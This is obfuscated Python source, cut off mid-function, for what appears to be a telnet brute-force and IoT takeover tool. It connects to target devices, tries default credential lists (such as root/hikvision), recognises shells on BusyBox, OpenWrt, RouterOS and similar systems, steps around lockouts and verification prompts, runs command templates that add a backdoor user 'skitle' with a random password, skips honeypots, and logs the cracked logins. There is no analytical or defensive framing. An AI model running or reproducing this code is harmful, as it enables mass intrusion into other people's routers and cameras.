def IIOooO0oo00oo ( targetip , targetport , bannerhint , masterhash ) :
O0000oO0O = ( targetip , int ( targetport ) )
if 21 - 21: O0oo
O0OOo00o00o = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
O0OOo00o00o . setblocking ( 0 )
if 90 - 90: Ii11i1iIi - o0ooO - IIiII . O0oo - I11I1Ii % I11I1Ii
try :
O0OOo00o00o . connect ( O0000oO0O )
except :
pass
if 100 - 100: IIiIii1iI - IIiIIiIii1I * Oooo - oOOo0000o * I11I1Ii
o00O0OoOoo = hash ( O0OOo00o00o )
i1IIII11I . append ( O0OOo00o00o )
IiIi [ o00O0OoOoo ] = ( targetip , int ( targetport ) , bannerhint )
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 0
if 29 - 29: o0oooooO * i1 / IIiII / oOOoO00oo0
if targetport == 9527 :
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = - 1
ooOo0 [ o00O0OoOoo ] = [ ]
iIiO00000o [ o00O0OoOoo ] = 0
O0Oo [ o00O0OoOoo ] = ''
O0OO0oOoO0O00 [ o00O0OoOoo ] = ''
Oo000o [ o00O0OoOoo ] = time . time ( )
o0O00ooo00OOo [ o00O0OoOoo ] = ''
IIi1ii1iI11I1 [ o00O0OoOoo ] = ''
OoOoO0o000 [ o00O0OoOoo ] = 0
oooo00O [ o00O0OoOoo ] = ''
o0oO0o [ o00O0OoOoo ] = masterhash
O0o [ masterhash ] = O0OOo00o00o
return O0OOo00o00o
if 93 - 93: o0ooO * Oo0 . Ii11i1iIi * o0ooO % o0oooooO
def Oo0oooOo00 ( brutehash ) :
i11i1iIIii [ brutehash ] = None
i1O00o0O [ brutehash ] = None
IIIi1iI1111Ii [ brutehash ] = None
OOOOoO00oOoO [ brutehash ] = None
O0o [ brutehash ] = None
I1IiIii1I1 [ brutehash ] = None
iIi1ii1I [ brutehash ] = None
O0o0iI [ brutehash ] = None
ooooo0OOo0o . remove ( brutehash )
if 1 - 1: OOooOO0
def ooOO ( sock ) :
global i1I1
global OoO00
global iiIII11I1i1Ii
global I1i
if 62 - 62: IIiII % oOoO0Ooo * OOOoOooO - Ii
o00O0OoOoo = hash ( sock )
try :
sock . close ( )
except :
pass
if 86 - 86: IIiII + IIiIIiIii1I . o0oooooO . OOOoOooO
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
if 38 - 38: I11I1Ii - OOooOO0
if 34 - 34: OOOoOooO / IIiIIiIii1I % i1IIi1i1iiI % OOOoOooO
if 23 - 23: oOOo0000o . oOOo0000o / oOOoO00oo0 + Oooo - I11I1Ii * Ii
if 49 - 49: i1IIi1i1iiI * O0oo % I11I1Ii - IIiIIiIii1I . O0oo
if 43 - 43: i1 . Oooo % oOOo0000o % Oo0Oo + Ii11i1iIi . Ii
if 37 - 37: oOOo0000o * O0oo
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] >= 5 and ( iiIII11I1i1Ii or I1i ) :
if 84 - 84: Oo0 * o0ooO . o0ooO % O0oo / i1
iii = I1IiIii1I1 [ IIiIIiIiIi ]
if iii == 'honeypot' or iii == 'mtguest' :
iIi1ii1I [ IIiIIiIiIi ] = 9999
if iii == '' :
iii = 'unknown'
Ooo0 = ''
if o0O00ooo00OOo [ o00O0OoOoo ] :
Ooo0 = o0O00ooo00OOo [ o00O0OoOoo ] + '/'
elif IIi1ii1iI11I1 [ o00O0OoOoo ] :
Ooo0 = O0o0iI [ IIiIIiIiIi ] . split ( '/' ) [ 0 ] + '/'
if IIi1ii1iI11I1 [ o00O0OoOoo ] :
Ooo0 += IIi1ii1iI11I1 [ o00O0OoOoo ]
oOo00o00O = re . sub ( '\r?\n' , ';' , O0Oo [ o00O0OoOoo ] )
oOo00o00O = re . sub ( '[^A-Za-z0-9 \.,:;<>\(\)\[\]\-+%!@/#$=]' , '' , oOo00o00O )
if not I1i or iii == 'unknown' or iii == 'telnet' :
Ii111i11iIi ( "%s:%d BR:%s:%s:%s:%s" % ( IIIi1iI1111Ii [ IIiIIiIiIi ] [ 0 ] , IIIi1iI1111Ii [ IIiIIiIiIi ] [ 1 ] , iii , O0o0iI [ IIiIIiIiIi ] , Ooo0 , oOo00o00O [ : 8192 ] ) ) ;
else :
Ii111i11iIi ( "%s:%d BR:%s:%s:%s:%s" % ( IIIi1iI1111Ii [ IIiIIiIiIi ] [ 0 ] , IIIi1iI1111Ii [ IIiIIiIiIi ] [ 1 ] , iii , O0o0iI [ IIiIIiIiIi ] , Ooo0 , oOo00o00O [ : 32 ] ) ) ;
if 89 - 89: IIiII - IIiIii1iI + Ii * IIiIii1iI * IIiII
if 16 - 16: o0ooO / o0oooooO - i1IIi1i1iiI
if 62 - 62: Oooo
Iioo0OooOoO = time . time ( )
if OOOOoO00oOoO [ IIiIIiIiIi ] <= Iioo0OooOoO :
OOOOoO00oOoO [ IIiIIiIiIi ] = time . time ( ) + OoO00
O0o [ IIiIIiIiIi ] = None
iIi1ii1I [ IIiIIiIiIi ] += 1
if 35 - 35: I11I1Ii
if iIi1ii1I [ IIiIIiIiIi ] >= i1I1 :
if 49 - 49: IIiIIiIii1I + oOOo0000o % Ii11i1iIi
if 38 - 38: IIiIii1iI + o0ooO * i1IIi1i1iiI
Oo0oooOo00 ( IIiIIiIiIi )
if 27 - 27: O0oo0OOOOO00 + Oo0 - o0ooO + oOOo0000o
if 92 - 92: IIiIii1iI % IIiII
if 81 - 81: oOOoO00oo0 - Ii11i1iIi * o0oooooO / oOOoO00oo0 % o0ooO
if 96 - 96: Ii11i1iIi + o0oooooO . Ii11i1iIi - OOooOO0 + OOooOO0
if 8 - 8: o0oooooO + oOoO0Ooo % OOooOO0
if 5 - 5: Ii11i1iIi * O0oo0OOOOO00 * IIiII * o0ooO
if 8 - 8: Oooo * IIiIii1iI . Ii . IIiII . O0oo0OOOOO00
if 95 - 95: I11I1Ii - i1 . Oo0 . o0ooO - o0ooO / o0ooO
i1IIII11I . remove ( sock )
IiIi [ o00O0OoOoo ] = None
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = None
ooOo0 [ o00O0OoOoo ] = None
iIiO00000o [ o00O0OoOoo ] = None
O0Oo [ o00O0OoOoo ] = None
O0OO0oOoO0O00 [ o00O0OoOoo ] = None
Oo000o [ o00O0OoOoo ] = None
o0O00ooo00OOo [ o00O0OoOoo ] = None
IIi1ii1iI11I1 [ o00O0OoOoo ] = None
OoOoO0o000 [ o00O0OoOoo ] = None
o0oO0o [ o00O0OoOoo ] = None
oooo00O [ o00O0OoOoo ] = None
if 24 - 24: o0oooooO
def OoOO0Oo ( ) :
Iioo0OooOoO = time . time ( )
for IIIiiiI in ooooo0OOo0o :
IIiIIiIiIi = hash ( IIIiiiI )
if O0o [ IIiIIiIiIi ] == None :
if 60 - 60: I11I1Ii
if Iioo0OooOoO >= OOOOoO00oOoO [ IIiIIiIiIi ] :
if 53 - 53: Ii11i1iIi % Oo0Oo
O0OOo00o00o = IIOooO0oo00oo ( IIIi1iI1111Ii [ IIiIIiIiIi ] [ 0 ] , IIIi1iI1111Ii [ IIiIIiIiIi ] [ 1 ] , IIIi1iI1111Ii [ IIiIIiIiIi ] [ 2 ] , IIiIIiIiIi )
O0o [ IIiIIiIiIi ] = O0OOo00o00o
OOOOoO00oOoO [ IIiIIiIiIi ] = 0
if 2 - 2: Ii11i1iIi . O0oo0OOOOO00 % IIiIIiIii1I
def ii1iI1I11 ( sock , brutehash , masterhash ) :
global oOooOooO0ooO
if 45 - 45: o0oooooO + I11I1Ii / IIiIIiIii1I - IIiIIiIii1I - Oooo
if 57 - 57: o0oooooO % O0oo
if 'cabhCdpServerRouter: 127.0.0.1' in O0Oo [ brutehash ] and len ( ooOo0 [ brutehash ] ) > 2 :
ooOo0 [ brutehash ] = ooOo0 [ brutehash ] [ 2 : ]
O0Oo [ brutehash ] = re . sub ( "cabhCdpServerRouter: 127.0.0.1" , '(already set)' , O0Oo [ brutehash ] )
if 21 - 21: I11I1Ii . Oooo / i1IIi1i1iiI
if 7 - 7: oOOoO00oo0 * i1IIi1i1iiI - o0oooooO - Oooo * i1IIi1i1iiI
if len ( ooOo0 [ brutehash ] ) <= 1 :
if 91 - 91: O0oo0OOOOO00
iIiO00000o [ brutehash ] = time . time ( ) + 10
iiI1iIi1Ii1Iii [ brutehash ] = 9
try :
sock . shutdown ( )
except :
pass
ooOo0 [ brutehash ] = ''
return 0
if 43 - 43: Ii - Oooo
oOo0 = True
while ooOo0 [ brutehash ] [ 1 ] == '' or oOo0 :
if 97 - 97: oOOo0000o * O0oo % OOooOO0 % o0ooO * o0ooO
if '%' in ooOo0 [ brutehash ] [ 0 ] :
if '%OLDUSER%' in ooOo0 [ brutehash ] [ 0 ] :
ooOo0 [ brutehash ] [ 0 ] = re . sub ( '%OLDUSER%' , O0o0iI [ masterhash ] . split ( '/' ) [ 0 ] , ooOo0 [ brutehash ] [ 0 ] )
if '%OLDPASS%' in ooOo0 [ brutehash ] [ 0 ] :
ooOo0 [ brutehash ] [ 0 ] = re . sub ( '%OLDPASS%' , O0o0iI [ masterhash ] . split ( '/' ) [ 1 ] , ooOo0 [ brutehash ] [ 0 ] )
if '%NEWUSER%' in ooOo0 [ brutehash ] [ 0 ] :
o0O00ooo00OOo [ brutehash ] = 'skitle'
ooOo0 [ brutehash ] [ 0 ] = re . sub ( '%NEWUSER%' , 'skitle' , ooOo0 [ brutehash ] [ 0 ] )
if '%NEWPASS%' in ooOo0 [ brutehash ] [ 0 ] :
if IIi1ii1iI11I1 [ brutehash ] == '' :
IIi1ii1iI11I1 [ brutehash ] = '' . join ( random . choice ( 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678901234567890123456789' ) for i in range ( 8 ) )
ooOo0 [ brutehash ] [ 0 ] = re . sub ( '%NEWPASS%' , IIi1ii1iI11I1 [ brutehash ] , ooOo0 [ brutehash ] [ 0 ] )
if '%TARGETIP%' in ooOo0 [ brutehash ] [ 0 ] :
ooOo0 [ brutehash ] [ 0 ] = re . sub ( '%TARGETIP%' , IIIi1iI1111Ii [ masterhash ] [ 0 ] , ooOo0 [ brutehash ] [ 0 ] )
if '%TARGETPORT%' in ooOo0 [ brutehash ] [ 0 ] :
ooOo0 [ brutehash ] [ 0 ] = re . sub ( '%TARGETPORT%' , '%d' % ( IIIi1iI1111Ii [ masterhash ] [ 1 ] ) , ooOo0 [ brutehash ] [ 0 ] )
if '%RELAUNCH%' in ooOo0 [ brutehash ] [ 0 ] :
if 15 - 15: i1 * i1
i1O00o0O [ masterhash ] = [ 'root/20080826' , 'root/20080826' , 'root/20080826' ]
i11i1iIIii [ masterhash ] = 0
ooOO ( sock )
return 0
if 65 - 65: i1IIi1i1iiI
if 57 - 57: o0oooooO / I11I1Ii * IIiIii1iI * Ii11i1iIi % Oooo
if '%RELAUNCH2%' in ooOo0 [ brutehash ] [ 0 ] :
if 81 - 81: Ii11i1iIi * Ii11i1iIi / Ii * IIiII
if 1 - 1: i1IIi1i1iiI . i1IIi1i1iiI - oOoO0Ooo
i1O00o0O [ masterhash ] = [ 'root/hikvision' , 'root/hikvision' , O0o0iI [ masterhash ] , O0o0iI [ masterhash ] ]
i11i1iIIii [ masterhash ] = 0
ooOO ( sock )
return 0
if 100 - 100: Ii11i1iIi / oOOo0000o . o0ooO
OooOO0OO = '\n'
if oooo00O [ brutehash ] == 'R' :
OooOO0OO = '\r\n'
try :
if 10 - 10: oOOo0000o . O0oo0OOOOO00
sock . send ( ooOo0 [ brutehash ] [ 0 ] + OooOO0OO )
except :
pass
if ooOo0 [ brutehash ] [ 1 ] == '' :
if len ( ooOo0 [ brutehash ] ) <= 2 :
if 93 - 93: O0oo0OOOOO00
iIiO00000o [ brutehash ] = time . time ( ) + 10
iiI1iIi1Ii1Iii [ brutehash ] = 9
try :
sock . shutdown ( )
except :
pass
ooOo0 [ brutehash ] = ''
return 0
else :
ooOo0 [ brutehash ] = ooOo0 [ brutehash ] [ 2 : ]
else :
oOo0 = False
if 94 - 94: oOOoO00oo0 . Ii11i1iIi / o0ooO * OOOoOooO . i1IIi1i1iiI / oOOo0000o
if len ( ooOo0 [ brutehash ] ) <= 0 :
return 0
if 95 - 95: oOoO0Ooo . I11I1Ii % oOOoO00oo0
iIiO00000o [ brutehash ] = time . time ( ) + oOooOooO0ooO
O0OO0oOoO0O00 [ brutehash ] = ''
return 1
if 45 - 45: OOOoOooO
i11IiiI1 = { }
if 26 - 26: I11I1Ii / Ii11i1iIi - Oooo
def OOO0000OO0oO0 ( ) :
global ooiI1
global O0oOOoO
global oOoOOoooo0
global oOooOooO0ooO
global i11IiiI1
if 35 - 35: OOOoOooO - IIiIIiIii1I % Ii / o0ooO + IIiII
Iioo0OooOoO = time . time ( )
if 52 - 52: oOOo0000o + o0ooO % Oooo - i1IIi1i1iiI - IIiIii1iI
if 19 - 19: IIiII % Ii11i1iIi
O00Oo = 0.01
IIiI1i , O0o0 , IiIIiI11I = select . select ( i1IIII11I , i1IIII11I , [ ] , O00Oo )
for O0O0 in i1IIII11I :
o00O0OoOoo = hash ( O0O0 )
try :
o0oo0OOOo = O0O0 . getsockopt ( socket . SOL_SOCKET , socket . SO_ERROR )
except :
o0oo0OOOo = - 1
if o0oo0OOOo != 0 :
if 81 - 81: O0oo0OOOOO00 - Ii % OOooOO0 - Ii11i1iIi + Oo0Oo
ooOO ( O0O0 )
continue
if O0O0 in IIiI1i :
O0 = ''
try :
O0 = O0O0 . recv ( 2048 )
except :
pass
if 44 - 44: I11I1Ii . O0oo * Ii - i1IIi1i1iiI - o0ooO * IIiII
try :
for ii1iI1ii in re . findall ( '\xff\xfd.' , O0 ) :
O0O0 . send ( '\xff\xfc' + ii1iI1ii [ 2 ] )
for oo0OOO0OOoOO in re . findall ( '\xff\xfb.' , O0 ) :
O0O0 . send ( '\xff\xfe' + oo0OOO0OOoOO [ 2 ] )
except :
pass
if O0 :
O0Oo [ o00O0OoOoo ] += O0
O0OO0oOoO0O00 [ o00O0OoOoo ] += O0
if 17 - 17: O0oo0OOOOO00 % i1 - IIiIii1iI
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 0 :
if 31 - 31: IIiIii1iI % oOOo0000o
if 24 - 24: Oo0Oo . oOoO0Ooo / oOOoO00oo0
if 37 - 37: IIiII * oOOo0000o - O0oo / oOOoO00oo0 / oOoO0Ooo + i1
if ( 'BusyBox v' in O0Oo [ o00O0OoOoo ] and ( '# ' in O0Oo [ o00O0OoOoo ] or '$ ' in O0Oo [ o00O0OoOoo ] ) ) or ( 'Linux ' in O0Oo [ o00O0OoOoo ] and ( '# ' in O0Oo [ o00O0OoOoo ] [ - 2 : ] or '$ ' in O0Oo [ o00O0OoOoo ] [ - 2 : ] ) and not '##' in O0Oo [ o00O0OoOoo ] and not '$$' in O0Oo [ o00O0OoOoo ] ) :
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 5
if 23 - 23: Oooo - OOOoOooO + Oooo + Oo0
O0o0iI [ IIiIIiIiIi ] = 'root/BUSYBOXBLANK'
continue
if 80 - 80: OOooOO0 - oOOoO00oo0 * O0oo0OOOOO00 / Oooo * Oo0Oo / oOoO0Ooo
if OoOoO0o000 [ o00O0OoOoo ] == 0 and 'Please input the verification code:' in O0Oo [ o00O0OoOoo ] :
ooOO00oOo = ''
try :
ooOO00oOo = i1o0o0O00O ( O0Oo [ o00O0OoOoo ] )
except :
Ii111i11iIi ( "ERR: BCS crashed" )
pass
if 23 - 23: Oooo
try :
O0O0 . send ( ooOO00oOo + '\n' )
except :
pass
OoOoO0o000 [ o00O0OoOoo ] = 1
if 'to set your login password' in O0Oo [ o00O0OoOoo ] and 'passwd' in O0Oo [ o00O0OoOoo ] and 'root@' in O0Oo [ o00O0OoOoo ] :
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 5
if 75 - 75: IIiIIiIii1I + Oo0 * o0ooO - OOooOO0 - Oo0Oo
O0o0iI [ IIiIIiIiIi ] = 'root/OPENWRTBLANK'
continue
if 'APPCOM:' in O0Oo [ o00O0OoOoo ] or 'DEBUG avc:' in O0Oo [ o00O0OoOoo ] or 'Polycom Command Shell' in O0Oo [ o00O0OoOoo ] :
if 86 - 86: oOOo0000o / IIiIIiIii1I - i1IIi1i1iiI
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 5
O0o0iI [ IIiIIiIiIi ] = '<blank>/<blank>'
if 90 - 90: Oo0Oo % OOooOO0 - i1
continue
if 'REINCARNA' in O0Oo [ o00O0OoOoo ] and 'Wifatch' in O0Oo [ o00O0OoOoo ] :
if 68 - 68: oOOo0000o + IIiIii1iI
if 56 - 56: o0oooooO + Oooo * Oo0Oo - Oo0
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
ooOO ( O0O0 )
Oo0oooOo00 ( IIiIIiIiIi )
continue
if 'Command line is locked now' in O0Oo [ o00O0OoOoo ] :
if 60 - 60: Ii11i1iIi + O0oo0OOOOO00 * Ii - OOOoOooO + I11I1Ii / IIiII
ooOO ( O0O0 )
continue
if 'You have to wait' in O0Oo [ o00O0OoOoo ] :
Oo00oO0O = re . search ( 'You have to wait (\d+) min (\d+) sec' , O0Oo [ o00O0OoOoo ] )
if Oo00oO0O :
if 53 - 53: Oooo . oOoO0Ooo
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
oooO0ooo0o000 = int ( Oo00oO0O . group ( 1 ) )
IiIiIIi1I1 = int ( Oo00oO0O . group ( 2 ) )
OOOOoO00oOoO [ IIiIIiIiIi ] = Iioo0OooOoO + IiIiIIi1I1 + oooO0ooo0o000 * 60 ;
if 57 - 57: oOOo0000o % i1
if 64 - 64: Ii . I11I1Ii * Oo0Oo / O0oo0OOOOO00 % o0oooooO
ooOO ( O0O0 )
continue
if 29 - 29: oOOo0000o - I11I1Ii / oOOoO00oo0 + i1IIi1i1iiI
if ':' in O0Oo [ o00O0OoOoo ] and ( 'Login' in O0Oo [ o00O0OoOoo ] or 'login' in O0Oo [ o00O0OoOoo ] or 'username' in O0Oo [ o00O0OoOoo ] or 'user name' in O0Oo [ o00O0OoOoo ] or 'Username' in O0Oo [ o00O0OoOoo ] or 'USERNAME' in O0Oo [ o00O0OoOoo ] or 'LOGIN' in O0Oo [ o00O0OoOoo ] ) or 'Account:' in O0Oo [ o00O0OoOoo ] :
if 87 - 87: Oooo % Ii % OOooOO0 + Oo0 / Oooo
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 1
if 7 - 7: IIiII
if ':' in O0Oo [ o00O0OoOoo ] and ( 'assword' in O0Oo [ o00O0OoOoo ] or 'pass word' in O0Oo [ o00O0OoOoo ] ) :
if 34 - 34: I11I1Ii + IIiII
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 3
if 72 - 72: Ii11i1iIi
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 2 :
if 91 - 91: IIiIii1iI * i1IIi1i1iiI + Ii / oOOoO00oo0
if ':' in O0Oo [ o00O0OoOoo ] and ( 'assword' in O0Oo [ o00O0OoOoo ] or 'pass word' in O0Oo [ o00O0OoOoo ] ) :
if 40 - 40: Ii11i1iIi * I11I1Ii / i1IIi1i1iiI
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 3
if 12 - 12: Oooo
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 4 :
if 19 - 19: Oooo - Ii11i1iIi / o0oooooO . I11I1Ii % IIiII
if 9 - 9: IIiIii1iI % i1IIi1i1iiI / O0oo
if not 'Last login:' in O0OO0oOoO0O00 [ o00O0OoOoo ] and ( 'incorrect' in O0OO0oOoO0O00 [ o00O0OoOoo ] or 'Incorrect' in O0OO0oOoO0O00 [ o00O0OoOoo ] or ( ':' in O0OO0oOoO0O00 [ o00O0OoOoo ] and ( 'Login' in O0OO0oOoO0O00 [ o00O0OoOoo ] or 'login' in O0OO0oOoO0O00 [ o00O0OoOoo ] or 'username' in O0OO0oOoO0O00 [ o00O0OoOoo ] or 'user name' in O0Oo [ o00O0OoOoo ] or 'Username' in O0OO0oOoO0O00 [ o00O0OoOoo ] or 'USERNAME' in O0OO0oOoO0O00 [ o00O0OoOoo ] or 'LOGIN' in O0OO0oOoO0O00 [ o00O0OoOoo ] ) ) or 'unrecognized user' in O0OO0oOoO0O00 [ o00O0OoOoo ] or "Invalid password" in O0OO0oOoO0O00 [ o00O0OoOoo ] ) :
if 18 - 18: IIiIIiIii1I
if 18 - 18: o0oooooO * oOoO0Ooo + i1IIi1i1iiI / I11I1Ii
if not 'RouterOS' in O0OO0oOoO0O00 [ o00O0OoOoo ] and not 'critical login failure for user' in O0OO0oOoO0O00 [ o00O0OoOoo ] and not 'Completes the command' in O0OO0oOoO0O00 [ o00O0OoOoo ] and not '[admin@' in O0OO0oOoO0O00 [ o00O0OoOoo ] :
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
i11i1iIIii [ IIiIIiIiIi ] += 1
if i11i1iIIii [ IIiIIiIiIi ] >= len ( i1O00o0O [ IIiIIiIiIi ] ) :
i11i1iIIii [ IIiIIiIiIi ] = 0
ooOO ( O0O0 )
continue
else :
oooo00O [ o00O0OoOoo ] = 'R'
if 89 - 89: Oo0 + IIiIIiIii1I - Ii
if 29 - 29: IIiII
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
if not 'admin/' in i1O00o0O [ IIiIIiIiIi ] and '________admin,' in O0OO0oOoO0O00 [ o00O0OoOoo ] :
Oo00oO0O = re . search ( '__________admin,([^_]*)______' , O0OO0oOoO0O00 [ o00O0OoOoo ] )
if Oo00oO0O :
i1O00o0O [ IIiIIiIiIi ] = [ 'admin/' + Oo00oO0O . group ( 1 ) ]
Ii111i11iIi ( 'NOTC: IP %s:%d -> retry with lc %s' % ( IIIi1iI1111Ii [ IIiIIiIiIi ] [ 0 ] , IIIi1iI1111Ii [ IIiIIiIiIi ] [ 1 ] , i1O00o0O [ IIiIIiIiIi ] [ 0 ] ) )
i11i1iIIii [ IIiIIiIiIi ] = 0
ooOO ( O0O0 )
continue
if 52 - 52: Oo0Oo * O0oo0OOOOO00 * o0ooO - i1 % Oo0 / Ii11i1iIi
i11iiIiIII1I = O0OO0oOoO0O00 [ o00O0OoOoo ] [ - 40 : ]
iII1II1i1I = O0OO0oOoO0O00 [ o00O0OoOoo ] [ - 80 : ]
if ( re . search ( '[$%#>] $' , i11iiIiIII1I [ - 2 : ] ) and not 'assword>' in i11iiIiIII1I [ - 10 : ] ) or 'Press enter key' in i11iiIiIII1I or re . search ( '\[\S+@\S*\] > ' , i11iiIiIII1I ) or 'BusyBox v' in O0OO0oOoO0O00 [ o00O0OoOoo ] or '? for help' in O0OO0oOoO0O00 [ o00O0OoOoo ] or ': not found' in i11iiIiIII1I or 'exit system' in i11iiIiIII1I or ( 'User Access Verification' in O0Oo [ o00O0OoOoo ] and re . search ( '[A-Z0-9a-z\-][#>]$' , i11iiIiIII1I [ - 2 : ] ) ) or 'Password expiration warning' in O0OO0oOoO0O00 [ o00O0OoOoo ] or 'for a list of built-in commands' in iII1II1i1I or 'step into administration terminal' in iII1II1i1I or 'Incomplete command found at' in iII1II1i1I or 'welcome to use cli' in O0OO0oOoO0O00 [ o00O0OoOoo ] or ( 'Login authentication' in O0Oo [ o00O0OoOoo ] and re . search ( '[A-Z0-9a-z]\>$' , i11iiIiIII1I [ - 2 : ] ) ) or 'Main menu' in O0OO0oOoO0O00 [ o00O0OoOoo ] or '% Unrecognized command' in i11iiIiIII1I or 'ATP>' in i11iiIiIII1I or re . search ( 'HG\d\S+>$' , i11iiIiIII1I ) or 'Last login: ' in iII1II1i1I :
if 21 - 21: OOooOO0
if 25 - 25: OOOoOooO . Oooo % O0oo % oOOoO00oo0 - Ii - IIiIIiIii1I
if 32 - 32: oOoO0Ooo % IIiIIiIii1I % oOoO0Ooo / IIiIIiIii1I * i1
O0o0iI [ IIiIIiIiIi ] = i1O00o0O [ IIiIIiIiIi ] [ i11i1iIIii [ IIiIIiIiIi ] ] ;
if 5 - 5: OOooOO0 . OOOoOooO
if 86 - 86: IIiII - IIiIii1iI + i1 / OOOoOooO . i1 - Ii11i1iIi
i1O00o0O [ IIiIIiIiIi ] = [ O0o0iI [ IIiIIiIiIi ] ]
i11i1iIIii [ IIiIIiIiIi ] = 0
if 61 - 61: i1IIi1i1iiI % o0ooO / Oooo * oOoO0Ooo / Oo0Oo
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 5
if 72 - 72: IIiIIiIii1I - Ii - O0oo0OOOOO00
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 6 :
if 7 - 7: oOOoO00oo0 / IIiIIiIii1I % IIiIii1iI - o0oooooO . I11I1Ii * Ii
if 83 - 83: OOooOO0
if 16 - 16: o0oooooO / IIiII % o0oooooO % OOOoOooO
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
if 97 - 97: Oo0Oo
if 51 - 51: I11I1Ii + O0oo
iii = ''
I1IiIiIIi = ''
if 64 - 64: I11I1Ii * Ii / oOoO0Ooo % Oo0Oo / oOOoO00oo0 % oOOoO00oo0
if not iii :
for I11IIIii1i in ooO0o :
if 99 - 99: oOoO0Ooo
if 12 - 12: oOOoO00oo0 * IIiIIiIii1I * oOOo0000o . O0oo - Ii11i1iIi * i1
if 35 - 35: O0oo . Ii11i1iIi % Oo0 % Oooo
if 14 - 14: O0oo . o0ooO . IIiIIiIii1I * IIiII + I11I1Ii . Oo0
if re . search ( I11IIIii1i [ 1 ] , O0o0iI [ IIiIIiIiIi ] ) and re . search ( I11IIIii1i [ 2 ] , O0Oo [ o00O0OoOoo ] ) :
if 68 - 68: Oooo
if 15 - 15: I11I1Ii - IIiIii1iI % o0ooO * IIiII
if 90 - 90: Oooo
if 60 - 60: oOOo0000o / IIiII - IIiIii1iI - Oo0Oo . i1IIi1i1iiI
if I11IIIii1i [ 0 ] == 'linux' or I11IIIii1i [ 0 ] == 'telnet' or I11IIIii1i [ 0 ] == 'busybox' or I11IIIii1i [ 0 ] == 'freescale' :
if O0Oo [ o00O0OoOoo ] . count ( '> ' ) < 6 and O0Oo [ o00O0OoOoo ] . count ( '# ' ) < 6 and O0Oo [ o00O0OoOoo ] . count ( '% ' ) < 6 and O0Oo [ o00O0OoOoo ] . count ( '$ ' ) < 6 and O0Oo [ o00O0OoOoo ] . count ( 'm]#' ) < 6 :
continue
if 27 - 27: Oooo % Ii
if 14 - 14: IIiIIiIii1I
iii = I11IIIii1i [ 0 ]
I1IiIiIIi = I11IIIii1i [ 3 : ]
if 46 - 46: i1 % IIiII
if 61 - 61: Oo0 - oOOoO00oo0 / Ii11i1iIi * IIiII
if 52 - 52: OOOoOooO * oOOo0000o % IIiIIiIii1I
if 43 - 43: O0oo0OOOOO00 % oOOoO00oo0 - oOOoO00oo0
if 76 - 76: I11I1Ii % IIiIii1iI . Ii % oOOoO00oo0 % IIiIii1iI
if 76 - 76: oOOo0000o . Oo0Oo % Oooo % OOooOO0 / oOoO0Ooo
if 39 - 39: oOOo0000o * O0oo + OOOoOooO * Oo0Oo + Oo0 / Ii
if 5 - 5: oOoO0Ooo
if 53 - 53: oOOo0000o * Oooo - OOooOO0 / Oooo
break
if 67 - 67: O0oo % IIiIIiIii1I * IIiII + i1 - Oo0Oo + IIiIii1iI
if iii :
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 7
I1IiIii1I1 [ IIiIIiIiIi ] = iii
ooOo0 [ o00O0OoOoo ] = I1IiIiIIi
if 38 - 38: O0oo0OOOOO00 - O0oo * O0oo % Ii11i1iIi
if not ii1iI1I11 ( O0O0 , o00O0OoOoo , IIiIIiIiIi ) :
continue
if 61 - 61: oOOoO00oo0 . i1 + i1 + Ii
if 23 - 23: oOoO0Ooo * Oo0
if 9 - 9: IIiIIiIii1I / Ii + Oooo + O0oo0OOOOO00 * O0oo % O0oo
if 47 - 47: O0oo0OOOOO00 % IIiII . Oo0 % Ii
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 7 :
if 18 - 18: OOOoOooO * oOOoO00oo0 * i1IIi1i1iiI * Oo0Oo . i1IIi1i1iiI . Ii11i1iIi
if 20 - 20: Oo0
if 30 - 30: oOOo0000o % IIiIii1iI * Oooo
if 29 - 29: O0oo . OOooOO0 - oOOo0000o % IIiII % OOooOO0
if re . search ( ooOo0 [ o00O0OoOoo ] [ 1 ] , O0OO0oOoO0O00 [ o00O0OoOoo ] ) :
if 19 - 19: o0ooO * OOooOO0
ooOo0 [ o00O0OoOoo ] = ooOo0 [ o00O0OoOoo ] [ 2 : ]
IIiIIiIiIi = o0oO0o [ o00O0OoOoo ]
if not ii1iI1I11 ( O0O0 , o00O0OoOoo , IIiIIiIiIi ) :
continue
if 84 - 84: oOOo0000o - O0oo / oOOoO00oo0 * i1 * oOoO0Ooo
else :
ooOO ( O0O0 )
continue
if O0O0 in O0o0 :
if 33 - 33: IIiIii1iI * oOOo0000o
if 55 - 55: O0oo0OOOOO00 / Oooo
if 84 - 84: IIiIii1iI . I11I1Ii + IIiII
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == - 1 :
try :
O0O0 . send ( "\n" )
except :
ooOO ( O0O0 )
continue
iiI1iIi1Ii1Iii [ o00O0OoOoo ] = 0
if 60 - 60: IIiII - Ii11i1iIi % o0oooooO . Ii - O0oo0OOOOO00
if iiI1iIi1Ii1Iii [ o00O0OoOoo ] == 1 :
if 43 - 43: o0oooooO * Oo0Oo - oOoO0Ooo * O0oo0OOOOO00 % O0oo0OOOOO00 - oOOoO00oo0
